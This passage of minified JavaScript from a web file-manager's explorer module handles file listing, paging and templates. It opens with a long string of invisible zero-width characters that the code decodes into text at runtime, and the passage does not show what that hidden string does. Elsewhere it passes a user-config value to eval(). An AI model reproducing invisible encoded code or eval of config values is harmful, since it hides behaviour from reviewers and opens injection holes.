‌‍‌‌‌‍‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‍‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‍‍‍‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‍‌‌‌‌‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,t){var t="down"==t?-1:1;return function(i,a){var i=i[e],a=a[e];return ui.path.pathOperate.strSort(i,a)*t}},mainSetData=function(e){var t=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var i="";$(".systemBox").each(function(){i+=$(this).get(0).outerHTML}),t=i+t}t=htmlListAction(G.json_data,t,!1),"list_split"==G.user_config.list_type&&(t='<div class="split_box" data-path="'+pathHashEncode(G.this_path)+'"><div class="content">'+t+'<div class="content_more"></div> </div><div class="split_drag"></div></div>'),e?$(Config.FileBoxSelector).hide().html(t).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(t),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),t=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var i=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),pageLoadMax>i||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(i/n)*o;return t.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",t=$(e).last(),i=$(".bodymain .fileContinerMore");if(0!=t.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=t.outerWidth()+$sizeInt(t.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=t.outerHeight()+$sizeInt(t.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;i.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),t=e.last(),i=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(i>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=t.outerHeight()+$sizeInt(t.css("margin-bottom")),l=s+o-r;if(l>t.offset().top){var c=l-t.offset().top,d=getPageNumber(),p=Math.ceil(c/o),f=p*d+i;f>a&&(f=a),f-i>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(i+1,f),$(".bodymain").scrollTop(n)},300)):loadMoreSet(i+1,f)}}},loadMoreSet=function(e,t){var i=makeHtml(G.json_data,e,t),a=$(i);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,t,i){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!i||i>=o.length-1)&&(i=o.length-1);for(var s=t;i>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,t){if("string"==$.type(e))var i=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var i=e;e=ui.fileLight.path(i)}if(1==i.length){var a=i.find(".children_more"),n=i.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;i.addClass("loading_children"),pathGet(e,function(e){i.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof t&&t(e)})}},htmlListAction=function(e,t,i){if(""==t)return t='<div style="text-align:center;color:#aaa;">'+LNG.path_null+"</div>";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&i?t+='<div data-path-children="'+pathHashEncode(n)+'" class="file folderBox" data-size="0">'+'<div class="filename" style="width: 424px;">'+'<span class="children_more"></span>'+'<div class="ico" filetype="folder"><i class="icon-plus-sign"></i></div>'+'<span class="title">'+LNG.file_load_all+"</span>"+"</div>"+"</div>":"list_split"==G.user_config.list_type&&(t+='<div data-path-children="'+pathHashEncode(n)+'" class="file folderBox splitLoadMore" data-size="0">'+'<div class="filename">'+'<div class="ico" filetype="folder"><i class="icon-plus-sign"></i></div>'+'<span class="title">'+LNG.file_load_all+"(to list)</span>"+"</div>"+"</div>")}return t},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,t){var i=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==i.length)return"function"==typeof t&&t(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof t&&t(),void 0;var n=i.parent().parent();pathSplitCreate(e,t,n)},pathSplitCreate=function(e,t,i){pathGet(e,function(a){if("not_exists"==a.path_read_write)return t(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),i)if(i.nextAll(".split_box").length>0){var o=i.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='<div class="split_box" data-path="'+pathHashEncode(e)+'"><div class="content">'+n+'<div class="content_more"></div></div><div class="split_drag"></div></div>',$(n).insertAfter(i).data("jsonData",a);else n='<div class="split_box" data-path="'+pathHashEncode(e)+'"><div class="content">'+n+'<div class="content_more"></div></div><div class="split_drag"></div></div>',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof t&&t()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),t=beforeListOpenArr,i=ui.fileLight.path(e,"data-path-children");beforeListOpen[i]=!1;for(var a=[i];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];t[o]!==void 0?t=t[o]:t[o]={}}})}else if("list_split"==G.user_config.list_type){var t=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(t[e]={},t=t[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,t){$.each(e,function(e,i){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(i).length?f5AfterReload(i,t):f5AfterReloadFinished(t)})}),f5AfterReloadFinished(t)},f5AfterReloadFinished=function(e){for(var t in beforeListOpen)if(beforeListOpen[t]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,t,i){if(void 0==e&&(e=!0),void 0==t&&(t=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var t=e.folderlist,i=e.filelist;return t="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?t.sort(sortBy("name",G.user_config.list_sort_order)):t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),i=i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=t,e.filelist=i,e},pathGet=function(e,t,i){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof i&&i(),!1;var a=jsonDataSort(e.data);"function"==typeof t&&t(a)},error:function(e,t,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,t,a),"function"==typeof i&&i()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var t in e)if("filelist"==t||"folderlist"==t)for(var i=0;e[t].length>i;i++){var a=e[t][i];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath") -}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up='<i class="font-icon icon-chevron-up"></i>',down='<i class="font-icon icon-chevron-down"></i>';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var t in G.self_share)if(core.pathClear(G.self_share[t].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var t=G.fav_list;for(var i in t)if(core.pathClear(i)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var t=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(t=core.icon("recycle")),$(".menuRecycleButton .ico").html(t)}})},pathTypeChange=function(e){if(e.info){var t=e.info,i=t.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");t.can_upload=!0,(void 0!=a&&"writeable"!=a||i==G.KOD_GROUP_SHARE&&"owner"!=t.role&&1!=G.is_root||i==G.KOD_USER_SHARE&&"owner"!=t.role&&1!=G.is_root||i==G.KOD_GROUP_PATH&&"guest"==t.role&&1!=G.is_root||i==G.KOD_USER_FAV||i==G.KOD_USER_RECYCLE||i==G.KOD_GROUP_ROOT_ALL||i==G.KOD_GROUP_ROOT_SELF)&&(t.can_upload=!1);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];i==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(i)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),t.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var t=e.info,i=e.path_read_write,a=t.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip_this,.unzip_folder,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="disable";if(t.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(o),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled")):($(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(o),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=t.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==t.role){var s=e.group_space_use;if(s){var r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".group_space_use").removeClass("hidden").html(r)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var s=e.user_space,r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".user_space_info").html(r)}"not_exists"==i&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),1==G.is_root&&t.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"<!-- 图标模式文件夹 -->\n{{if type=='icon_folder'}}\n<div data-path=\"{{list.path |window.pathHashEncode}}\"\nclass='file {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n {{if !list.is_writeable}} file_not_writeable{{/if}}\n {{if !list.is_readable}} file_not_readable{{/if}}\n{{/if}}'\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n </div>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='filename'>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 列表模式文件夹 -->\n{{else if type=='list_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file\n{{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.name}} : {{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='filename'>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class=\"children_more\">\n {{if list.isParent&&list.is_readable}}<i class=\"font_icon children_more_cert\"></i>{{/if}}\n </span>\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n </div>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n <div class='filetype'>{{LNG.folder}}</div>\n <div class='filesize'></div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n{{if list.isParent&&list.is_readable}}\n<div data-path-children='{{list.path |window.pathHashEncode}}' class=\"children_list hidden\"></div>\n{{/if}}\n\n<!-- 分栏模式文件夹 -->\n{{else if type=='list_split_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='filename'>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n </div>\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n <span class=\"children_open\">\n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n <i class=\"font_icon children_more_cert\"></i>\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 图标模式文件 draggable=\"true\" ondragstart=\"return false;\"-->\n{{else if type=='icon_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}}data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.icon}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n </div>\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='filename'>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 列表模式文件 -->\n{{else if type=='list_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if 